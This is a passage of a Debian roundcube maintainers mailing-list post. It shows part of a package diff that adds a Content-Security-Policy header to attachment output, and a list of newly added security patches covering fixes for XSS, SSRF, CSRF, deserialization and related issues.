+             header('Content-Type: ' . $file['mimetype']);
+             header('Content-Length: ' . $file['size']);
+ 
++            // Use strict security policy to make sure no javascript is executed
++            header("Content-Security-Policy: script-src 'none'");
++
+             if (isset($file['data']) && is_string($file['data'])) {
+                 echo $file['data'];
+             }
diff -Nru roundcube-1.6.5+dfsg/debian/patches/series roundcube-1.6.5+dfsg/debian/patches/series
--- roundcube-1.6.5+dfsg/debian/patches/series	2026-02-11 12:05:21.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/series	2026-03-20 19:15:19.000000000 +0100
@@ -36,3 +36,13 @@
 CVE-2026-26079/01-1f4c3a5af.patch
 CVE-2026-26079/02-2b5625f1d.patch
 CVE-2026-26079/03-53d75d5df.patch
+Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
+Fix-bug-where-a-password-could-get-changed-without-provid.patch
+Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
+Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
+Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
+Fix-XSS-issue-in-a-HTML-attachment-preview.patch
+Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-roundcube-maintainers/attachments/20260324/1bf1fd20/attachment-0001.sig>


More information about the Pkg-roundcube-maintainers mailing list